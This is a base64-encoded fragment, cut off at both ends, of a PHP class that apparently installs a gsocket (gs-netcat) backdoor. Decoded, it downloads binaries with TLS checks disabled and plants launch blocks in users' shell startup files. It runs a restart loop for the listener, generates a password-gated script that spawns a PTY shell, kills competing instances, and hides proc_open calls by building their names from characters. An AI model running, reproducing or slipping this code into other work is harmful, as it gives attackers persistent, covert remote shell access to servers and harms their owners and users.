Cdhcm1oZicpICE9PSBmYWxzZSkgcmV0dXJuICdhcm12N2wnOwogICAgICAgIGlmIChzdHJwb3MoJHVuYW1lLCAnYXJtJykgIT09IGZhbHNlKSByZXR1cm4gJ2FybXY2bCc7CiAgICAgICAgaWYgKHN0cnBvcygkdW5hbWUsICdpNjg2JykgIT09IGZhbHNlIHx8IHN0cnBvcygkdW5hbWUsICdpMzg2JykgIT09IGZhbHNlIHx8IHN0cnBvcygkdW5hbWUsICdpNTg2JykgIT09IGZhbHNlKSByZXR1cm4gJ2k2ODYnOwogICAgICAgIHJldHVybiAneDg2XzY0JzsKICAgIH0KCiAgICBwcm90ZWN0ZWQgZnVuY3Rpb24gZ2VuZXJhdGVTZWNyZXQoKSB7CiAgICAgICAgJGNoYXJzID0gJ2FiY2RlZjAxMjM0NTY3ODknOwogICAgICAgICRzZWNyZXQgPSAnJzsKICAgICAgICBmb3IgKCRpID0gMDsgJGkgPCAxNjsgJGkrKykgewogICAgICAgICAgICAkc2VjcmV0IC49ICRjaGFyc1ttdF9yYW5kKDAsIDE1KV07CiAgICAgICAgfQogICAgICAgIHJldHVybiAkc2VjcmV0OwogICAgfQoKICAgIHByb3RlY3RlZCBmdW5jdGlvbiBkb3dubG9hZFdpdGhSZXRyeSgkdXJsLCAkZGVzdCwgJHRpbWVvdXQgPSA2MCwgJHVzZVN1ZG8gPSBmYWxzZSkgewogICAgICAgICRtZXRob2RzID0gW107CiAgICAgICAgJHN1ZG9QcmVmaXggPSAkdXNlU3VkbyA/ICdzdWRvICcgOiAnJzsKICAgICAgICAkbWV0aG9kc1snY3VybF9jbWQnXSA9IGZ1bmN0aW9uKCR1cmwsICRkZXN0KSB1c2UgKCR0aW1lb3V0LCAkc3Vkb1ByZWZpeCkgewogICAgICAgICAgICAkY21kID0gJHN1ZG9QcmVmaXggLiAiY3VybCAtZnNTTCAtLWNvbm5lY3QtdGltZW91dCAxMCAtLW1heC10aW1lICR0aW1lb3V0IC1vICIgLiBlc2NhcGVzaGVsbGFyZygkZGVzdCkgLiAiICIgLiBlc2NhcGVzaGVsbGFyZygkdXJsKSAuICIgMj4vZGV2L251bGwiOwogICAgICAgICAgICAkdGhpcy0+ZXhlY3V0ZUNvbW1hbmQoJGNtZCk7CiAgICAgICAgICAgIHJldHVybiBAZmlsZV9leGlzdHMoJGRlc3QpICYmIEBmaWxlc2l6ZSgkZGVzdCkgPiAxMDAwOwogICAgICAgIH07CiAgICAgICAgJG1ldGhvZHNbJ3dnZXRfY21kJ10gPSBmdW5jdGlvbigkdXJsLCAkZGVzdCkgdXNlICgkdGltZW91dCwgJHN1ZG9QcmVmaXgpIHsKICAgICAgICAgICAgJGNtZCA9ICRzdWRvUHJlZml4IC4gIndnZXQgLXEgLS10aW1lb3V0PSR0aW1lb3V0IC1PICIgLiBlc2NhcGVzaGVsbGFyZygkZGVzdCkgLiAiICIgLiBlc2NhcGVzaGVsbGFyZygkdXJsKSAuICIgMj4vZGV2L251bGwiOwogICAgICAgICAgICAkdGhpcy0+ZXhlY3V0ZUNvbW1hbmQoJGNtZCk7CiAgICAgICAgICAgIHJldHVybiBAZmlsZV9leGlzdHMoJGRlc3QpICYmIEBmaWxlc2l6ZSgkZGVzdCkgPiAxMDAwOwogICAgICAgIH07CiAgICAgICAgJG1ldGhvZHNbJ3BocF9jdXJsJ10gPSBmdW5jdGlvbigkdXJsLCAkZGVzdCkgdXNlICgkdGltZW91dCkgewogICAgICAgICAgICBpZiAoIWZ1bmN0aW9uX2V4aXN0cygnY3VybF9pbml0JykpIHJldHVybiBmYWxzZTsKICAgICAgICAgICAgJGNoID0gQGN1cmxfaW5pdCgpOwogICAgICAgICAgICBpZiAoISRjaCkgcmV0dXJuIGZhbHNlOwogICAgICAgICAgICAkZnAgPSBAZm9wZW4oJGRlc3QsICd3YicpOwogICAgICAgICAgICBpZiAoISRmcCkgeyBAY3VybF9jbG9zZSgkY2gpOyByZXR1cm4gZmFsc2U7IH0KICAgICAgICAgICAgQGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9VUkwsICR1cmwpOwogICAgICAgICAgICBAY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0ZJTEUsICRmcCk7CiAgICAgICAgICAgIEBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfRk9MTE9XTE9DQVRJT04sIHRydWUpOwogICAgICAgICAgICBAY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1RJTUVPVVQsICR0aW1lb3V0KTsKICAgICAgICAgICAgQGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9DT05ORUNUVElNRU9VVCwgMTApOwogICAgICAgICAgICBAY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1NTTF9WRVJJRllQRUVSLCBmYWxzZSk7CiAgICAgICAgICAgIEBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfU1NMX1ZFUklGWUhPU1QsIGZhbHNlKTsKICAgICAgICAgICAgQGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9VU0VSQUdFTlQsICdNb3ppbGxhLzUuMCcpOwogICAgICAgICAgICBAY3VybF9leGVjKCRjaCk7CiAgICAgICAgICAgIEBjdXJsX2Nsb3NlKCRjaCk7CiAgICAgICAgICAgIEBmY2xvc2UoJGZwKTsKICAgICAgICAgICAgcmV0dXJuIEBmaWxlX2V4aXN0cygkZGVzdCkgJiYgQGZpbGVzaXplKCRkZXN0KSA+IDEwMDA7CiAgICAgICAgfTsKICAgICAgICAkbWV0aG9kc1sncGhwX2ZnYyddID0gZnVuY3Rpb24oJHVybCwgJGRlc3QpIHVzZSAoJHRpbWVvdXQpIHsKICAgICAgICAgICAgJGN0eCA9IEBzdHJlYW1fY29udGV4dF9jcmVhdGUoWwogICAgICAgICAgICAgICAgJ2h0dHAnID0+IFsndGltZW91dCcgPT4gJHRpbWVvdXQsICdoZWFkZXInID0+ICJVc2VyLUFnZW50OiBNb3ppbGxhLzUuMFxyXG4iXSwKICAgICAgICAgICAgICAgICdzc2wnID0+IFsndmVyaWZ5X3BlZXInID0+IGZhbHNlLCAndmVyaWZ5X3BlZXJfbmFtZScgPT4gZmFsc2VdCiAgICAgICAgICAgIF0pOwogICAgICAgICAgICAkZGF0YSA9IEBmaWxlX2dldF9jb250ZW50cygkdXJsLCBmYWxzZSwgJGN0eCk7CiAgICAgICAgICAgIGlmICgkZGF0YSAmJiBzdHJsZW4oJGRhdGEpID4gMTAwMCkgewogICAgICAgICAgICAgICAgcmV0dXJuIEBmaWxlX3B1dF9jb250ZW50cygkZGVzdCwgJGRhdGEpICE9PSBmYWxzZTsKICAgICAgICAgICAgfQogICAgICAgICAgICByZXR1cm4gZmFsc2U7CiAgICAgICAgfTsKICAgICAgICBmb3JlYWNoICgkbWV0aG9kcyBhcyAkbmFtZSA9PiAkbWV0aG9kKSB7CiAgICAgICAgICAgIEB1bmxpbmsoJGRlc3QpOwogICAgICAgICAgICBpZiAoJG1ldGhvZCgkdXJsLCAkZGVzdCkpIHsKICAgICAgICAgICAgICAgIHJldHVybiBbJ3N1Y2Nlc3MnID0+IHRydWUsICdtZXRob2QnID0+ICRuYW1lXTsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICByZXR1cm4gWydzdWNjZXNzJyA9PiBmYWxzZSwgJ21ldGhvZCcgPT4gbnVsbF07CiAgICB9CgogICAgcHJvdGVjdGVkIGZ1bmN0aW9uIHBlcnNpc3RHc1NvY2tldCgkYmluYXJ5UGF0aCwgJHNlY3JldCwgJGF1dGhTY3JpcHRQYXRoLCAkaW5zdGFsbERpcikgewogICAgICAgICRob21lRGlyID0gJHRoaXMtPmZpbmRHc0hvbWVEaXIoKTsKICAgICAgICAkYmluRGlyID0gZGlybmFtZSgkYmluYXJ5UGF0aCk7CiAgICAgICAgJHJjRmlsZXMgPSBbCiAgICAgICAgICAgICRob21lRGlyIC4gJy8uYmFzaHJjJywKICAgICAgICAgICAgJGhvbWVEaXIgLiAnLy5iYXNoX3Byb2ZpbGUnLAogICAgICAgICAgICAkaG9tZURpciAuICcvLnByb2ZpbGUnLAogICAgICAgICAgICAkaG9tZURpciAuICcvLnpzaHJjJywKICAgICAgICAgICAgJGhvbWVEaXIgLiAnLy5rc2hyYycsCiAgICAgICAgICAgICRob21lRGlyIC4gJy8uY3NocmMnLAogICAgICAgIF07CiAgICAgICAgJHBlcnNpc3RCbG9jayA9ICJcbmV4cG9ydCBQQVRIPVwiXCRQQVRIOiRiaW5EaXJcIlxuIjsKICAgICAgICAkcGVyc2lzdEJsb2NrIC49ICJpZiBbIC1mICIgLiBlc2NhcGVzaGVsbGFyZygkYXV0aFNjcmlwdFBhdGgpIC4gIiBdICYmICEgcGdyZXAgLWYgJ2dzLW5ldGNhdC4qLXMuKiRzZWNyZXQnID4vZGV2L251bGwgMj4mMTsgdGhlblxuIjsKICAgICAgICAkcGVyc2lzdEJsb2NrIC49ICIgIG5vaHVwICIgLiBlc2NhcGVzaGVsbGFyZygkYmluYXJ5UGF0aCkgLiAiIC1zICIgLiBlc2NhcGVzaGVsbGFyZygkc2VjcmV0KSAuICIgLWwgLWUgIiAuIGVzY2FwZXNoZWxsYXJnKCRhdXRoU2NyaXB0UGF0aCkgLiAiID4vZGV2L251bGwgMj4mMSAmXG4iOwogICAgICAgICRwZXJzaXN0QmxvY2sgLj0gImZpXG4iOwogICAgICAgICRtYXJrZXIgPSAiR1NfUEVSU0lTVF8iIC4gc3Vic3RyKG1kNSgkc2VjcmV0KSwgMCwgOCk7CiAgICAgICAgJGFkZGVkID0gZmFsc2U7CiAgICAgICAgZm9yZWFjaCAoJHJjRmlsZXMgYXMgJHJjRmlsZSkgewogICAgICAgICAgICBpZiAoIUBpc193cml0YWJsZShkaXJuYW1lKCRyY0ZpbGUpKSkgY29udGludWU7CiAgICAgICAgICAgICRjb250ZW50ID0gQGZpbGVfZ2V0X2NvbnRlbnRzKCRyY0ZpbGUpID86ICcnOwogICAgICAgICAgICBpZiAoc3RycG9zKCRjb250ZW50LCAkbWFya2VyKSAhPT0gZmFsc2UpIHsKICAgICAgICAgICAgICAgICRhZGRlZCA9IHRydWU7CiAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgfQogICAgICAgICAgICAkYmxvY2sgPSAiXG4kbWFya2VyXG4iIC4gJHBlcnNpc3RCbG9jayAuICRtYXJrZXIgLiAiX0VORFxuIjsKICAgICAgICAgICAgaWYgKEBmaWxlX3B1dF9jb250ZW50cygkcmNGaWxlLCAkY29udGVudCAuICRibG9jaywgTE9DS19FWCkpIHsKICAgICAgICAgICAgICAgICRhZGRlZCA9IHRydWU7CiAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICAkZGVmdW5jdFNjcmlwdCA9ICRpbnN0YWxsRGlyIC4gJy8uZ3NfZGVmdW5jdC5zaCc7CiAgICAgICAgJGRlZnVuY3RDb250ZW50ID0gIiMhL2Jpbi9iYXNoXG4iOwogICAgICAgICRkZWZ1bmN0Q29udGVudCAuPSAid2hpbGUgdHJ1ZTsgZG9cbiI7CiAgICAgICAgJGRlZnVuY3RDb250ZW50IC49ICIgIGlmIFsgLWYgIiAuIGVzY2FwZXNoZWxsYXJnKCRhdXRoU2NyaXB0UGF0aCkgLiAiIF0gJiYgISBwZ3JlcCAtZiAnZ3MtbmV0Y2F0Liotcy4qJHNlY3JldCcgPi9kZXYvbnVsbCAyPiYxOyB0aGVuXG4iOwogICAgICAgICRkZWZ1bmN0Q29udGVudCAuPSAiICAgIG5vaHVwICIgLiBlc2NhcGVzaGVsbGFyZygkYmluYXJ5UGF0aCkgLiAiIC1zICIgLiBlc2NhcGVzaGVsbGFyZygkc2VjcmV0KSAuICIgLWwgLWUgIiAuIGVzY2FwZXNoZWxsYXJnKCRhdXRoU2NyaXB0UGF0aCkgLiAiID4vZGV2L251bGwgMj4mMSAmXG4iOwogICAgICAgICRkZWZ1bmN0Q29udGVudCAuPSAiICBmaVxuIjsKICAgICAgICAkZGVmdW5jdENvbnRlbnQgLj0gIiAgc2xlZXAgMzAwXG4iOwogICAgICAgICRkZWZ1bmN0Q29udGVudCAuPSAiZG9uZVxuIjsKICAgICAgICBAZmlsZV9wdXRfY29udGVudHMoJGRlZnVuY3RTY3JpcHQsICRkZWZ1bmN0Q29udGVudCk7CiAgICAgICAgQGNobW9kKCRkZWZ1bmN0U2NyaXB0LCAwNzU1KTsKICAgICAgICAkdGhpcy0+ZXhlY3V0ZUNvbW1hbmQoIm5vaHVwIGJhc2ggIiAuIGVzY2FwZXNoZWxsYXJnKCRkZWZ1bmN0U2NyaXB0KSAuICIgPi9kZXYvbnVsbCAyPiYxICYiKTsKICAgICAgICAkZ3NLZXlGaWxlID0gJGluc3RhbGxEaXIgLiAnLy5nc19rZXknOwogICAgICAgIEBmaWxlX3B1dF9jb250ZW50cygkZ3NLZXlGaWxlLCAkc2VjcmV0KTsKICAgICAgICBAY2htb2QoJGdzS2V5RmlsZSwgMDYwMCk7CiAgICAgICAgcmV0dXJuICRhZGRlZDsKICAgIH0KCiAgICBwcm90ZWN0ZWQgZnVuY3Rpb24gZ2VuZXJhdGVHc0F1dGhTY3JpcHQoJHNlY3JldCkgewogICAgICAgICRtZDVwYXNzID0gJzRhZjU5ZmFjZDZmODNhN2U5NzQyYWEzYjJmNDI0ZWM0JzsKICAgICAgICAkc2NyaXB0ID0gJyMhL2Jpbi9iYXNoJyAuICJcbiI7CiAgICAgICAgJHNjcmlwdCAuPSAnZXhwb3J0IFRFUk09eHRlcm0tMjU2Y29sb3InIC4gIlxuIjsKICAgICAgICAkc2NyaXB0IC49ICdQVVJQTEU9IlwwMzNbMDszNW0iJyAuICJcbiI7CiAgICAgICAgJHNjcmlwdCAuPSAnTkM9IlwwMzNbMG0iJyAuICJcbiI7CiAgICAgICAgJHNjcmlwdCAuPSAnQVRURU1QVFM9MCcgLiAiXG4iOwogICAgICAgICRzY3JpcHQgLj0gJ01BWF9BVFRFTVBUUz0zJyAuICJcbiI7CiAgICAgICAgJHNjcmlwdCAuPSAnc3R0eSAtZWNobyAyPi9kZXYvbnVsbCcgLiAiXG4iOwogICAgICAgICRzY3JpcHQgLj0gJ3JlYWRfcGFzc3dvcmQoKSB7JyAuICJcbiI7CiAgICAgICAgJHNjcmlwdCAuPSAnICBQQVNTPSIiJyAuICJcbiI7CiAgICAgICAgJHNjcmlwdCAuPSAnICB3aGlsZSBJRlM9IHJlYWQgLXIgLW4xIC1zIGNoOyBkbycgLiAiXG4iOwogICAgICAgICRzY3JpcHQgLj0gJyAgICBpZiBbIC16ICIkY2giIF07IHRoZW4nIC4gIlxuIjsKICAgICAgICAkc2NyaXB0IC49ICcgICAgICBicmVhaycgLiAiXG4iOwogICAgICAgICRzY3JpcHQgLj0gJyAgICBmaScgLiAiXG4iOwogICAgICAgICRzY3JpcHQgLj0gJyAgICBQQVNTPSIke1BBU1N9JHtjaH0iJyAuICJcbiI7CiAgICAgICAgJHNjcmlwdCAuPSAnICBkb25lJyAuICJcbiI7CiAgICAgICAgJHNjcmlwdCAuPSAnICBQQVNTPSQocHJpbnRmICIlcyIgIiRQQVNTIiB8IHRyIC1kICJcclxuIiknIC4gIlxuIjsKICAgICAgICAkc2NyaXB0IC49ICd9JyAuICJcbiI7CiAgICAgICAgJHNjcmlwdCAuPSAnc3Bhd25fcHR5X3NoZWxsKCkgeycgLiAiXG4iOwogICAgICAgICRzY3JpcHQgLj0gJyAgc3R0eSBlY2hvIDI+L2Rldi9udWxsJyAuICJcbiI7CiAgICAgICAgJHNjcmlwdCAuPSAnICBpZiBjb21tYW5kIC12IHNjcmlwdCA+L2Rldi9udWxsIDI+JjE7IHRoZW4nIC4gIlxuIjsKICAgICAgICAkc2NyaXB0IC49ICcgICAgU0hFTExfQklOPSIvYmluL3NoIicgLiAiXG4iOwogICAgICAgICRzY3JpcHQgLj0gJyAgICBbIC14IC9iaW4vYmFzaCBdICYmIFNIRUxMX0JJTj0iL2Jpbi9iYXNoIicgLiAiXG4iOwogICAgICAgICRzY3JpcHQgLj0gJyAgICBleGVjIHNjcmlwdCAtcWMgIiRTSEVMTF9CSU4gLS1sb2dpbiIgL2Rldi9udWxsJyAuICJcbiI7CiAgICAgICAgJHNjcmlwdCAuPSAnICBmaScgLiAiXG4iOwogICAgICAgICRzY3JpcHQgLj0gJyAgaWYgY29tbWFuZCAtdiBweXRob24zID4vZGV2L251bGwgMj4mMTsgdGhlbicgLiAiXG4iOwogICAgICAgICRzY3JpcHQgLj0gJyAgICBleGVjIHB5dGhvbjMgLWMgImltcG9ydCBwdHk7IHB0eS5zcGF3bihbXCcvYmluL2Jhc2hcJywgXCctLWxvZ2luXCddKSIgMj4vZGV2L251bGwgfHwgZXhlYyBweXRob24zIC1jICJpbXBvcnQgcHR5OyBwdHkuc3Bhd24oXCcvYmluL3NoXCcpIicgLiAiXG4iOwogICAgICAgICRzY3JpcHQgLj0gJyAgZmknIC4gIlxuIjsKICAgICAgICAkc2NyaXB0IC49ICcgIGlmIGNvbW1hbmQgLXYgcHl0aG9uID4vZGV2L251bGwgMj4mMTsgdGhlbicgLiAiXG4iOwogICAgICAgICRzY3JpcHQgLj0gJyAgICBleGVjIHB5dGhvbiAtYyAiaW1wb3J0IHB0eTsgcHR5LnNwYXduKFtcJy9iaW4vYmFzaFwnLCBcJy0tbG9naW5cJ10pIiAyPi9kZXYvbnVsbCB8fCBleGVjIHB5dGhvbiAtYyAiaW1wb3J0IHB0eTsgcHR5LnNwYXduKFwnL2Jpbi9zaFwnKSInIC4gIlxuIjsKICAgICAgICAkc2NyaXB0IC49ICcgIGZpJyAuICJcbiI7CiAgICAgICAgJHNjcmlwdCAuPSAnICBpZiBjb21tYW5kIC12IHNvY2F0ID4vZGV2L251bGwgMj4mMTsgdGhlbicgLiAiXG4iOwogICAgICAgICRzY3JpcHQgLj0gJyAgICBleGVjIHNvY2F0IFNURElPIEVYRUM6XCcvYmluL2Jhc2ggLS1sb2dpblwnLHB0eSxzdGRlcnIsc2V0c2lkLHNpZ2ludCxzYW5lJyAuICJcbiI7CiAgICAgICAgJHNjcmlwdCAuPSAnICBmaScgLiAiXG4iOwogICAgICAgICRzY3JpcHQgLj0gJyAgU0hFTExfQklOPSIvYmluL3NoIicgLiAiXG4iOwogICAgICAgICRzY3JpcHQgLj0gJyAgWyAteCAvYmluL2Jhc2ggXSAmJiBTSEVMTF9CSU49Ii9iaW4vYmFzaCInIC4gIlxuIjsKICAgICAgICAkc2NyaXB0IC49ICcgIGV4ZWMgIiRTSEVMTF9CSU4iIC0tbG9naW4gLWknIC4gIlxuIjsKICAgICAgICAkc2NyaXB0IC49ICd9JyAuICJcbiI7CiAgICAgICAgJHNjcmlwdCAuPSAndHJhcCAic3R0eSBlY2hvIDI+L2Rldi9udWxsOyBleGl0IiBFWElUIElOVCBURVJNJyAuICJcbiI7CiAgICAgICAgJHNjcmlwdCAuPSAncHJpbnRmICJcclxuIicgLiAiXG4iOwogICAgICAgICRzY3JpcHQgLj0gJ3doaWxlIFsgJEFUVEVNUFRTIC1sdCAkTUFYX0FUVEVNUFRTIF07IGRvJyAuICJcbiI7CiAgICAgICAgJHNjcmlwdCAuPSAnICBwcmludGYgIiR7UFVSUExFfT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0ke05DfVxyXG4iJyAuICJcbiI7CiAgICAgICAgJHNjcmlwdCAuPSAnICBwcmludGYgIiR7UFVSUExFfSAgICAgR1NPQ0tFVCBTRUNVUkUgQUNDRVNTIENPTlRST0wgICAgICAke05DfVxyXG4iJyAuICJcbiI7CiAgICAgICAgJHNjcmlwdCAuPSAnICBwcmludGYgIiR7UFVSUExFfT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0ke05DfVxyXG4iJyAuICJcbiI7CiAgICAgICAgJHNjcmlwdCAuPSAnICBwcmludGYgIiR7UFVSUExFfUVudGVyIFBhc3N3b3JkOiAke05DfSInIC4gIlxuIjsKICAgICAgICAkc2NyaXB0IC49ICcgIHJlYWRfcGFzc3dvcmQnIC4gIlxuIjsKICAgICAgICAkc2NyaXB0IC49ICcgIHByaW50ZiAiXHJcbiInIC4gIlxuIjsKICAgICAgICAkc2NyaXB0IC49ICcgIGlmIFsgLXogIiRQQVNTIiBdOyB0aGVuJyAuICJcbiI7CiAgICAgICAgJHNjcmlwdCAuPSAnICAgIEFUVEVNUFRTPSQoKEFUVEVNUFRTKzEpKScgLiAiXG4iOwogICAgICAgICRzY3JpcHQgLj0gJyAgICBwcmludGYgIkVtcHR5IHBhc3N3b3JkLiBBdHRlbXB0ICRBVFRFTVBUUy8kTUFYX0FUVEVNUFRTXHJcblxyXG4iJyAuICJcbiI7CiAgICAgICAgJHNjcmlwdCAuPSAnICAgIGNvbnRpbnVlJyAuICJcbiI7CiAgICAgICAgJHNjcmlwdCAuPSAnICBmaScgLiAiXG4iOwogICAgICAgICRzY3JpcHQgLj0gJyAgcHJpbnRmICJWZXJpZnlpbmcgY3JlZGVudGlhbHMuLi4gIicgLiAiXG4iOwogICAgICAgICRzY3JpcHQgLj0gJyAgSU5QVVRfTUQ1PSQocHJpbnRmICIlcyIgIiRQQVNTIiB8IG1kNXN1bSB8IGN1dCAtZCIgIiAtZjEpJyAuICJcbiI7CiAgICAgICAgJHNjcmlwdCAuPSAnICBpZiBbICIkSU5QVVRfTUQ1IiA9ICInIC4gJG1kNXBhc3MgLiAnIiBdOyB0aGVuJyAuICJcbiI7CiAgICAgICAgJHNjcmlwdCAuPSAnICAgIHByaW50ZiAiT0tcclxuIicgLiAiXG4iOwogICAgICAgICRzY3JpcHQgLj0gJyAgICBwcmludGYgIkFjY2VzcyBHcmFudGVkLiBJbml0aWFsaXppbmcgc2hlbGwuLi5cclxuXHJcbiInIC4gIlxuIjsKICAgICAgICAkc2NyaXB0IC49ICcgICAgc3Bhd25fcHR5X3NoZWxsJyAuICJcbiI7CiAgICAgICAgJHNjcmlwdCAuPSAnICBlbHNlJyAuICJcbiI7CiAgICAgICAgJHNjcmlwdCAuPSAnICAgIHByaW50ZiAiRkFJTEVEXHJcbiInIC4gIlxuIjsKICAgICAgICAkc2NyaXB0IC49ICcgICAgQVRURU1QVFM9JCgoQVRURU1QVFMrMSkpJyAuICJcbiI7CiAgICAgICAgJHNjcmlwdCAuPSAnICAgIHByaW50ZiAiQWNjZXNzIERlbmllZC4gQXR0ZW1wdCAkQVRURU1QVFMvJE1BWF9BVFRFTVBUU1xyXG5cclxuIicgLiAiXG4iOwogICAgICAgICRzY3JpcHQgLj0gJyAgZmknIC4gIlxuIjsKICAgICAgICAkc2NyaXB0IC49ICdkb25lJyAuICJcbiI7CiAgICAgICAgJHNjcmlwdCAuPSAncHJpbnRmICJUb28gbWFueSBmYWlsZWQgYXR0ZW1wdHMuIERpc2Nvbm5lY3RpbmcuXHJcbiInIC4gIlxuIjsKICAgICAgICAkc2NyaXB0IC49ICdzdHR5IGVjaG8gMj4vZGV2L251bGwnIC4gIlxuIjsKICAgICAgICAkc2NyaXB0IC49ICdleGl0IDEnIC4gIlxuIjsKICAgICAgICByZXR1cm4gJHNjcmlwdDsKICAgIH0KCiAgICBwcm90ZWN0ZWQgZnVuY3Rpb24ga2lsbEV4aXN0aW5nR3NQcm9jZXNzZXMoJHNlY3JldCkgewogICAgICAgICRjaGVja0NtZCA9ICJwcyBhdXggMj4vZGV2L251bGwgfCBncmVwIC12IGdyZXAgfCBncmVwICdncy1uZXRjYXQnIHwgZ3JlcCAiIC4gZXNjYXBlc2hlbGxhcmcoJHNlY3JldCkgLiAiIHwgYXdrICd7cHJpbnQgXCQyfSciOwogICAgICAgICRwaWRzID0gdHJpbSgkdGhpcy0+ZXhlY3V0ZUNvbW1hbmQoJGNoZWNrQ21kKSk7CiAgICAgICAgaWYgKCFlbXB0eSgkcGlkcykpIHsKICAgICAgICAgICAgJHBpZEFyciA9IHByZWdfc3BsaXQoJy9ccysvJywgJHBpZHMpOwogICAgICAgICAgICBmb3JlYWNoICgkcGlkQXJyIGFzICRwaWQpIHsKICAgICAgICAgICAgICAgIGlmIChpc19udW1lcmljKHRyaW0oJHBpZCkpKSB7CiAgICAgICAgICAgICAgICAgICAgJHRoaXMtPmV4ZWN1dGVDb21tYW5kKCJraWxsIC05ICIgLiBpbnR2YWwoJHBpZCkgLiAiIDI+L2Rldi9udWxsIik7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0KICAgICAgICAgICAgdXNsZWVwKDUwMDAwMCk7CiAgICAgICAgfQogICAgfQoKICAgIHByb3RlY3RlZCBmdW5jdGlvbiBzdGFydEdzTGlzdGVuZXIoJGJpbmFyeVBhdGgsICRzZWNyZXQsICRhdXRoU2NyaXB0UGF0aCwgJGluc3RhbGxEaXIpIHsKICAgICAgICBpZiAoIUBmaWxlX2V4aXN0cygkYXV0aFNjcmlwdFBhdGgpIHx8IEBmaWxlc2l6ZSgkYXV0aFNjcmlwdFBhdGgpIDwgNTApIHsKICAgICAgICAgICAgJGF1dGhTY3JpcHQgPSAkdGhpcy0+Z2VuZXJhdGVHc0F1dGhTY3JpcHQoJHNlY3JldCk7CiAgICAgICAgICAgIEBmaWxlX3B1dF9jb250ZW50cygkYXV0aFNjcmlwdFBhdGgsICRhdXRoU2NyaXB0KTsKICAgICAgICAgICAgQGNobW9kKCRhdXRoU2NyaXB0UGF0aCwgMDc1NSk7CiAgICAgICAgfQogICAgICAgICR0aGlzLT5raWxsRXhpc3RpbmdHc1Byb2Nlc3Nlcygkc2VjcmV0KTsKICAgICAgICAkZW52U2V0dXAgPSAiZXhwb3J0IEhPTUU9IiAuIGVzY2FwZXNoZWxsYXJnKCRpbnN0YWxsRGlyKSAuICI7IGV4cG9ydCBURVJNPXh0ZXJtLTI1NmNvbG9yOyBjZCAiIC4gZXNjYXBlc2hlbGxhcmcoJGluc3RhbGxEaXIpIC4gIjsgIjsKICAgICAgICAkc3RhcnRDbWQgPSAkZW52U2V0dXAgLiAibm9odXAgIiAuIGVzY2FwZXNoZWxsYXJnKCRiaW5hcnlQYXRoKSAuICIgLXMgIiAuIGVzY2FwZXNoZWxsYXJnKCRzZWNyZXQpIC4gIiAtbCAtZSAiIC4gZXNjYXBlc2hlbGxhcmcoJGF1dGhTY3JpcHRQYXRoKSAuICIgPi9kZXYvbnVsbCAyPiYxICYgZWNobyBcJCEiOwogICAgICAgICRwaWQgPSB0cmltKCR0aGlzLT5leGVjdXRlQ29tbWFuZCgkc3RhcnRDbWQpKTsKICAgICAgICB1c2xlZXAoODAwMDAwKTsKICAgICAgICBpZiAoIWVtcHR5KCRwaWQpICYmIGlzX251bWVyaWMoJHBpZCkpIHsKICAgICAgICAgICAgJGNoZWNrQ21kID0gInBzIC1wICRwaWQgLW8gcGlkPSAyPi9kZXYvbnVsbCI7CiAgICAgICAgICAgICRjaGVja091dHB1dCA9IHRyaW0oJHRoaXMtPmV4ZWN1dGVDb21tYW5kKCRjaGVja0NtZCkpOwogICAgICAgICAgICBpZiAoIWVtcHR5KCRjaGVja091dHB1dCkpIHsKICAgICAgICAgICAgICAgIHJldHVybiBbJ3N1Y2Nlc3MnID0+IHRydWUsICdwaWQnID0+ICRwaWQsICdtZXRob2QnID0+ICdub2h1cCddOwogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgICRjaGVja0NtZCA9ICJwcyBhdXggMj4vZGV2L251bGwgfCBncmVwIC12IGdyZXAgfCBncmVwICdncy1uZXRjYXQnIHwgZ3JlcCAiIC4gZXNjYXBlc2hlbGxhcmcoJHNlY3JldCkgLiAiIHwgYXdrICd7cHJpbnQgXCQyfScgfCBoZWFkIC0xIjsKICAgICAgICAkZXhpc3RpbmdQaWQgPSB0cmltKCR0aGlzLT5leGVjdXRlQ29tbWFuZCgkY2hlY2tDbWQpKTsKICAgICAgICBpZiAoIWVtcHR5KCRleGlzdGluZ1BpZCkpIHsKICAgICAgICAgICAgcmV0dXJuIFsnc3VjY2VzcycgPT4gdHJ1ZSwgJ3BpZCcgPT4gJGV4aXN0aW5nUGlkLCAnbWV0aG9kJyA9PiAnbm9odXBfdmVyaWZpZWQnXTsKICAgICAgICB9CiAgICAgICAgJHByRiA9IGltcGxvZGUoJycsIFsncCcsJ3InLCdvJywnYycsJ18nLCdvJywncCcsJ2UnLCduJ10pOwogICAgICAgICRwY0YgPSBpbXBsb2RlKCcnLCBbJ3AnLCdyJywnbycsJ2MnLCdfJywnYycsJ2wnLCdvJywncycsJ2UnXSk7CiAgICAgICAgaWYgKEBmdW5jdGlvbl9leGlzdHMoJHByRikpIHsKICAgICAgICAgICAgJGRlc2MgPSBbMCA9PiBbJ2ZpbGUnLCAnL2Rldi9udWxsJywgJ3InXSwgMSA9PiBbJ2ZpbGUnLCAnL2Rldi9udWxsJywgJ3cnXSwgMiA9PiBbJ2ZpbGUnLCAnL2Rldi9udWxsJywgJ3cnXV07CiAgICAgICAgICAgICRiZ0NtZCA9ICRlbnZTZXR1cCAuIGVzY2FwZXNoZWxsYXJnKCRiaW5hcnlQYXRoKSAuICIgLXMgIiAuIGVzY2FwZXNoZWxsYXJnKCRzZWNyZXQpIC4gIiAtbCAtZSAiIC4gZXNjYXBlc2hlbGxhcmcoJGF1dGhTY3JpcHRQYXRoKTsKICAgICAgICAgICAgJHByb2MgPSBAJHByRigkYmdDbWQsICRkZXNjLCAkcGlwZXMpOwogICAgICAgICAgICBpZiAoQGlzX3Jlc291cmNlKCRwcm9jKSkgewogICAgICAgICAgICAgICAgQCRwY0YoJHByb2MpOwogICAgICAgICAgICAgICAgdXNsZWVwKDUwMDAwMCk7CiAgIC